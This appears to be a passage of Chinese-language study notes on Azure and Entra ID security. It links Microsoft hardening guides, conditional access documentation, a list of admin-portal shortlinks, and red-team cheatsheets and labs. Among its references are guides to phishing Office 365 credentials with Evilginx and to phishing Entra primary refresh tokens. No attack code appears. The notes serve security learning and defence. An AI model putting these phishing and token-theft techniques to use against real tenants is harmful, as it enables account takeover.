https://learn.microsoft.com/en-us/azure/defender-for-cloud/concept-regulatory-compliance https://learn.microsoft.com/en-us/security/benchmark/azure/ https://github.com/MicrosoftDocs/azure-docs/blob/main/articles/governance/policy/samples/azure-security-benchmark.md ### Azure AD 安全运营 官方加固Entra id aad的指南 ``` This checklist will help you quickly deploy critical recommended actions to protect your organization immediately by explaining how to: Strengthen your credentials Reduce your attack surface area Automate threat response Utilize cloud intelligence Enable end-user self-service ``` https://learn.microsoft.com/en-us/azure/security/fundamentals/steps-secure-identity best practice https://learn.microsoft.com/en-us/azure/security/fundamentals/identity-management-best-practices 如何开启条件访问控制 https://securityboulevard.com/2024/03/microsoft-entra-id-the-complete-guide-to-conditional-access-policies-2/ 条件访问控制官方文档,开启条件访问控制之后安全效果会好很多,特别是强制验证MFA https://learn.microsoft.com/en-us/entra/identity/conditional-access/ ## 工具全家桶,就是一把梭 命令cheatsheet,rootsecdev的azure red team不错 https://github.com/rootsecdev/Azure-Red-Team CloudPentestCheatsheets/blob/master/cheatsheets/Azure.md cloud pentet cheatsheet https://github.com/dafthack/CloudPentestCheatsheets/blob/master/cheatsheets/Azure.md 不错的Azure 安全测试靶场 https://github.com/davisanc/AzureSecurityLabs Azure AD Entra ID常用的链接和常用的工具 https://github.com/merill/awesome-entra ``` cmd.ms/portals/azuread - Complete list of shortcuts to blades in the Entra portal. aka.ms/commands - List of common Microsoft short links. msportals.io - Links to all Microsoft admin portals. aka.ms/entratemplates - Email templates & posters to roll out Microsoft Entra features like MFA, SSPR, and more. aka.ms/entraidac - Microsoft Entra ID Admin Center aka.ms/myapps - My Apps aka.ms/my-account - My Account aka.ms/my-groups - My Groups aka.ms/my-access - My Access Packages aka.ms/mystaff - My Access Packages aka.ms/mysecurityinfo - My Security Info aka.ms/mysignins - My Sign-ins aka.ms/pim - Privileged Identity Management - Roles aka.ms/pimg - Privileged Identity Management - Groups aka.ms/pimr - Privileged Identity Management - Roles aka.ms/pimz - Privileged Identity Management - Azure Resources aka.ms/sspr - Self Service Password Reset aka.ms/mfasetup - Alternative for My Security Info aka.ms/entradocs - Microsoft Entra Technical Documentation aka.ms/graphref - Microsoft Graph REST API Reference - v1.0 aka.ms/graphrefbeta - Microsoft Graph REST API Reference - Beta ``` ## 参考资料 https://cloud.hacktricks.xyz/pentesting-cloud/azure-security https://aadinternals.com/post/phishing/ https://janbakker.tech/how-to-set-up-evilginx-to-phish-office-365-credentials/ https://www.secrss.com/articles/28081 https://github.com/izj007/wechat/blob/main/articles/%5B%E5%AE%89%E5%85%A8%E5%B8%AELive%5D-2023-3-20-%E4%BA%91%E6%B8%97%E9%80%8F%20%7C%20Azure%20%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95.md https://blog.csdn.net/w1590191166/article/details/133525699 https://www.linkedin.com/pulse/ad-joined-azure-hybrid-registered-devices-whats-komarovskiy-mba/ https://github.com/rootsecdev/Azure-Red-Team https://mp.weixin.qq.com/s/p_7wAKpYUGk5Sg09pHibLQ https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/